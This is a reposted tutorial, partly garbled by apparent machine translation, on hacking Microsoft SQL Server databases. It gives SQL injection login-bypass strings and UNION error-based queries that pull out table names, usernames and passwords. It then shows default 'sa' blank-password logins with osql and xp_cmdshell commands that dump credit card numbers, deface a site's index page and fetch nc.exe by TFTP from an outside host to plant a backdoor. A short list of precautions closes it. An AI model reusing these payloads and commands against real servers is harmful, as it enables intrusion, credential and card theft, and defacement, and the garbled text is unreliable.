Hacking Database Servers

xiaoxiao2021-03-06  86

Databases have been the heart of a commercial website. An attack on the database servers can cause a great monetary loss for the company. Database servers are usually hacked to get the credit card information. And just one hack on a commercial site will bring down its reputation and also the customers as they also want their credit card info secured. Most of the commercial websites use Microsoft sql (MSsql) and Oracle database servers. MS sql still owns the market because the price is very low. While Oracle servers come with high price. Well some time ago Oracle had claimed itself to be "unbreakable" But hackers took it as a challenge and showed lots of bugs in it also !! I was addicted to hacking of database servers from a few months. So I just decided to Share the knowledge with others. Well The Things Discussed Here Are Not Discovered by Me Ok. Yeah I Experimented with Them a LOT.

The article is Divided Into Two Parts:

Using the http port 80

2. USING THE MS SQL Port 1434

Part I - Using HTTP Port 80 (or Better Would Be Malformed URLS)

-------------------------------------------------- ----------------

This part will be useful not only to the hackers but also to the web designers. A common mistake made by the web designers can reveal the databases of the server to the hacker. Lets see on it. The whole game is of query strings. So IT IS Assumed That The Reader Has Some Knowledge About Queries and ASP. And One More The The Browser. So You Even Don't Require Any Other Tools Except IE or Netscape.

Normally, inorder to make a login page, The Web Designer Will Write the Following Code.

Login.htm

Logincheck.asp

<@ language = "vbscript">

<%

DIM CONN, RS, LOG, PWD

Log = Request.form ("login_name")

PWD = Request.form ("pass")

Set conn = server.createObject ("adoDb.connection")

Conn.connectionstring = "provider = microsoft.jet.Oledb.4.0; data source = c: /folder/multiplex.mdb"

Conn.open

SET RS = Server.createObject ("AdoDb.Recordset")

Rs.open "SELECT * from Table1 Where Login = '" & log & "' and password = '" & pwd & "" ", CONN

IF RS.eof

Response.write ("Login Failed")

Else

Response.write ("Login Successful")

END IF

%>

Looking at the above code at first site it seems OK. A user will type his login name and password in login.htm page and click the submit button. The value of the text boxes will be passed to the logincheck.asp page where it will be checked using the query string. If it does not get an entry satisfying the query and will reach end of file a message of login failed will be displayed. Every thing seems to be OK. But wait a minute. Think again. Is every Thing really ok? !!! is it ok. Well if you have it? ip. How? ip? letten. How? lets look at the querry aga.

"Select * from table1 where login = '" & log & "' and password = '" & pwd "" NOW A User Types His Login Name As "Chintan" and password AS "H4X3R" THES above VALUES WILL PASS to the ASP Page with Post method and then the Above query Will Become

"Select * from table1 where login = 'chintan' and password = 'h4x3r'"

In the Database So We Will Receive A Message As Login Success ENTABASE SUWINS SUCCESSFUL.

Now what if i type loginname as "chintan" and password as

Hi 'or' a '=' a

In The Password TEX? The Query Will Become As Follows:

"Select * from table1 where login = 'chintan' and password = 'hi' or 'a' = 'a'"

And Submit and Bingo !!!!! I will get the message as login surcessful !! DID you see the smartness of harlectlessness of web designer ?!!

The Query Gets Satisfied As Query Changes and Password Needs to 'Hi' or 'A' Needs To Be Equal To 'A'. Clearly Password Is Not 'Hi' But At The Same Time 'A' = 'A'. So Condition IS Satisfied. And a hacker is in with login "chintan" !! You can try the following in the password text box if the Above Doesn't Work for Some Websites:

Hi "OR" a "=" a

Hi "OR 1 = 1 -

Hi 'OR 1 = 1 -

Hi 'or' a '=' a

Hi ') or (' a '=' a

Hi ") OR (" a "=" a

Here Above - Will Make The Rest of The Query String To Be a comment Other Conditions Will Not Be Checked. Similary You Can Provide

Chintan '--chintan "-

or such types of other possibilites in the login name textbox and password as anything which might let you in Because in the query string only login name is checked as "Chintan" and rest is ignored due to -.. Well if you are lucky enough You get Such A Website WERE The WebDesigner Has Done The Above Mistake and The You Will Be Able To Login As Any User !!!

Imp Note: Hey Guys I Have Put Up A Page Where You Can Experiment for YourSelf About The SQL Injection Vulnerablity. Just Go To www33.brinkster.com/chintantrivedi/login.htm

More Advance Hacking of Databases Using Odbc Error Messages !!!

Above we saw as to how login successfully without knowing password. Now over here I will show you how to read the whole database just by using queries in the URL !! And this works only for IIS ie asp pages. And we know that IIS covers Almost 35% of the Web Market. So you will definitely Get a few Websites. You Might Have Seen Something Like

http://www.nosecurity.com/mypage.asp?id=45

In The Urls. '?' over there shows this after it, 45 value is passed to a hidden datatype ID. Well if you don't understand the as we have seen in the Above example in the login.htm, Having TWO INPUT TEXT Types with name 'login_name' and 'pass' and the value were passed to logincheck.asp page. The Same Thing CAN be done by Directly Opening the Logincheck.asp Page Using

http://www.nosecurity.com/logincheck.asp?login_name=chintan&pass=h4x3r

In the URL if Method = "get" is buy instead of method = "pos".

Note: or Difference Between Get and Post method is what post method doesn't show up value passed to next paged in the url while get method shows up the value. To Get more understanding of how they internally work read HTTP protocol RFC 1945 and RFC 2616.What i mean to say is that after '?' the variables which are going to be used in that page are assigned the values. As above login_name is given value Chintan And Different Variables Are Separated by Operator '&'.

OK so coming back, id will mostly be hidden type and according to the links you click its value will change. This value of id is then passed in the query in mypage.asp page and according tothe results you get the desired page at your screen . NOW iF Just Change The Value of Id as 46 Then You Will Get Different Page.

Now lets start our hacking the database. Lets use the magic of queries. Just Type

http://www.nosecurity.com/mypage.asp?id=45 Union SELECT TOP 1 TABLE_NAME from Information_Schema.Tables -

IN The URL. INFORMATION_SCHEMA.TABLES IS A SYSTEM TABLE AND IT Contains Information of All The Tables of the Server. in That There The Field Table_name Which Contains Names of All The Tables. See The Query Again

SELECT TOP 1 TABLE_NAME from Information_Schema.Tables

The result of this query is the first table name from INFORMATION_SCHEMA.TABLES table. But the result we get is a table name which is a string (nvarchar) and we are uniting it with 45 (integer) by UNION. So we will get an Error Message AS

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft] [ODBC SQL Server Driver] [SQL Server] Syntax error converting the nvarchar value 'logintable' to a column of data type int. /Mypage.asp, lineFrom the error its Clear That First Table is 'logintable'. It see this table might contact login names and passwords :-) so lets move in it. type the follion in the URL

http://www.nosecurity.com/mypage.asp?id=45 Union Select Top 1 Column_Name from Information_Schema.Columns Where Table_name = 'logintable' -

OUTPUT

Microsoft OLE DB Provider for ODBC Drivers Error '80040E07'

[Microsoft] [ODBC SQL Server Driver] [SQL Server] Syntax Error Converting The Nvarchar

Value 'login_id' to a column of data type INT.

/index.asp, line 5

The Above Error Message Shows That The First Field or Column in logintable is login_id. TO Get The next column name will type

http://www.nosecurity.com/mypage.asp?id=45 Union Select Top 1 Column_name from Information_schema.Columns Where Table_Name = 'logintable' Where colorn_name not in ('login_id') -

OUTPUT:

Microsoft OLE DB Provider for ODBC Drivers Error '80040E07'

[Microsoft] [ODBC SQL Server Driver] [SQL Server] Syntax Error Converting The Nvarchar

Value 'login_name' to a column of data type int.

/index.asp, line 5

SO We get one more far name as 'login_name'. TO GET The Third Field Name We Will Write

http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'logintable' WHERE COLUMN_NAME NOT IN ( 'login_id', 'login_name') -

Microsoft OLE DB Provider for ODBC Drivers Error '80040E07' [Microsoft] [ODBC SQL Server Driver] [SQL Server] Syntax Error Converting The NVARCHAR

Value 'Passwd' to a column of data type int.

/index.asp, line 5

Thats it. We ultimately get the 'passwd' field. Now lets get the login nameless

Passwords from this table "logintable". Type

http://www.nosecurity.com/mypage.asp?id=45 Union Select Top 1 login_name from logintable -

OUTPUT:

Microsoft OLE DB Provider for ODBC Drivers Error '80040E07'

[Microsoft] [ODBC SQL Server Driver] [SQL Server] Syntax Error Converting The Nvarchar

Value 'rahul' to a column of data type int.

/index.asp, line 5

Thats the login name "rahul" and to get the password of rahul the query Would Be

http://www.nosecurity.com/mypage.asp?id=45 Union Select Top 1 Password from logintable

WHERE login_name = 'rahul' -

OUTPUT:

Microsoft OLE DB Provider for ODBC Drivers Error '80040E07'

[Microsoft] [ODBC SQL Server Driver] [SQL Server] Syntax Error Converting The Nvarchar

Value 'p455w0rd' to a column of data type int.

/index.asp, line 5

Voila !! login name: rahul and password: p455w0rd. You have crached the database of

Www.nosecurity.com and's it tas Possible to the Request of User Was Not Checked Properly. SQL

Vulnerabilities Still EXIST ON MANY Websites. The Best Solution Is To Parse The User Requests and

Filter Out Some Characters as', ",:, etc.

Part II - Using Port 1434 (SQL Port)

-------------------------------------

Well uptill now we had seen how to break the database using the malformed URLs But that was done using just port 80 (http port) But this time we would use the port 1434 for hacking. Before that we will see what actually database servers are and how do they work and then how to exploit them! The designers of MS sql gave some default stored procedures along with the product to make things flexible to the webdesigners. The procedure is nothing but functions which can used to perform some actions on the arguments passed THEM. This Procedures Are Very Important to Hackers. Some of the important ones area

SP_Passsword -> Changes Password for a Specific Login Name.

E.G. EXEC SP_Password ',' NewPass', 'UserName'

SP_TABLES -> Shows All The Tables in The Current Database.

E.G. EXEC SP_TABLES

Xp_cmdshell -> Runs Arbitary Command on The Machine with Administrator Privileges. (MOST IMP)

XP_MSVER -> Shows The MS SQL Server Version Including The All Info About The OS.

e.g. Master..xp_msver

XP_regdeletekey -> deletes a registry key.

XP_RegdeleteValue -> Delets a Registry Value

XP_REGREAD -> Reads a Registry Value

XP_REGWRITE -> WRITES A Registry Key.

XP_TERMINATE_PROCESS -> Stops a Process

Well these are some important procedures. Actually there are more than 50 such types of procedures. If you want your MS SQL server to be protected then I would recommend to delete all of these procedures. The trick is open the Master database using MS SQL Server .

Note:.. "Master" is an important database of the SQL server which contains all system information like login names and system stored procedures So if a hacker deletes this master database then the SQL server will be down for ever Syslogins is the default system table which contains the usernames and passwords of logins in the database.Most dangerous threat: The Microsoft SQL server has default username "sa" with password blank "" and this has ruined lots of MS sql servers in the past Even a virus regarding this.. Vulnerability had been released.

Thatz enough. Lets Hack Now. First We need to find out a Vulnerable Server. Download a Good port scanner (MANY OUT There on Web) And Scan for IP Addresses Having Port 1433/1434 (TCP OR UDP) Open. This is the ms Sql port which runs the sql service. Oracle's port no. is 1521. Lets suppose we got a vulnerable server with ip 198.188.178.1 (its just an example so do not even try it) Now there are many ways to use the SQL service ........................ ..

C: /> OSQL.EXE -?

OSQL: UNKNOWN OPTION?

USAGE: OSQL [-u login id] [-P password]

[-H Hostname] [-e Trusted Connection]

[-d use database name] [-l login timeout] [-t query timeout]

[-h Headers] [-s colseparator] [-w colornwidth]

[-e echo input] [-i enable quoted identifier]]

[-L list servers] [-c cmnde]

[-q "cmdline query"] [-q "cmdline query" and exit]

[-n remove numbering] [-M Errorlevel]

[-r msgs to stderr] [-V severitylevel]

[-i infutfile] [-o outputfile]

[-P print statistics] [-b on error batch Abort]

[-O use old isql behavior disables the folload] BATCH Processing

Auto Console Width Scaling

Wide Messages

Default ErrorLevel IS -1 VS 1

[-? Show syntax summary]

Well, this displays the help of the osql Tool. Its Clear from The Help What We Have to Do Now. Type

C: /> Osql.exe -s 198.188.178.1 -u sa -p ""

1>

That What We get if We login successful else we will get an error message as login failed for user "sa"

NOW IF WA WANT TO EXECUTE ANY Command on The Remote Machine Then Just Use The "xp_cmdshell" default stored procedure.

C: /> Osql.exe -s 198.188.178.1 -u sa -p "" -q "exec master..xp_cmdshell 'dir> dir.txt'"

I would prefer to use -Q option instead of -q because it exits after executing the query. In the same manner we can execute any command on the remote machine. We can even upload or download any files on / from the remote machine. A Smart Attacker Will Install A Backdoor on The Machine To Gain Access To In Future Also. Now as i had Explained Earlier We can use the "information_schema.tables" to get the list of tables and contents OF TABLES AND CONTENTS OF TABLES

C: /> osql.exe -s 198.188.178.1 -u sa -p "" -Q "select * from information_schema.tables"

And getting Table Names Look for Some Table Like Login or Accounts Or Uses or Something Like That Which Seems To Contain Some Important Info Like Credit Card No. ETC.

C: /> osql.exe -s 198.188.178.1 -u sa -p "" -q "select * from users"

And

C: /> osql.exe -s 198.188.178.1 -u sa -p "" -q "Select Username, Creditcard, Expdate from Users"

OUTPUT:

Username Creditcard Expdate

------------ ----------------------

Jack 5935023473209871 2004-10-03 00: 00: 00.000jill 5839203921948323 2004-07-02 00: 00: 00.000

Micheal 5732009850338493 2004-08-07 00: 00: 00.000

Ronak 5738203981300410 2004-03-02 00: 00: 00.000

Write Something in Index.html File?

C: /> osql.exe -s 198.188.178.1 -u sa -p "" -q "exec master..xp_cmdshell 'echo deficed by chintan> c: /inetpub/wwrowr /index.html'"

Wanna Upload Any File on The Remote System.

C: /> osql.exe -s 198.188.178.1 -u sa -p "" -q "exec master..xp_cmdshell 'TFTP 203.192.16.12 get nc.exe c: /nc.exe'"

And to download any file we can use the PUT request instead of GET Its just because this commands are being executed on the remote machine and not on ours. So if you give the GET request the command will be executed on the remote machine and it will Try to get the nc.exe file from our machine to the remote machine.

Thatz not over. Toolz for hacking the login passwords of Sql servers are easily available on the web. Even many buffer overflows are being discovered which can allow user to gain the complete control of the sytem with administrator privileges. The article is just giving some general Issues About Database Servers.

Remember The Sapphire Worm? Which Was Released on 25th Jan. The WORM Which Exploited Three Known VulneRabilities in The SQL Servers Using 1433/1434 UDP Ports.

Precautionay MeasureS

---------------------------

<*> Change The Default Password for sa.

<*> Delete all the default stored procedures.

<*> Filter out all the characters like ', ",:, etc.

<*> Keep Upto Date with Patches

<*> Block the ports 1433/1434 MS SQL AND 1521 (Oracle) Ports Using FireWalls.

Remember security is not an add-on feature It depends upon the smartness of administrator The war between the hacker and administrator will go on and on and onâ € |... The person who is aware with the latest news or bug reports will win the War. Database Admin SHOULD Keep In Touch with some sites likettp: //sqlsecurity.com

http://www.cert.org

转载请注明原文地址:https://www.9cbs.com/read-107798.html

New Post(0)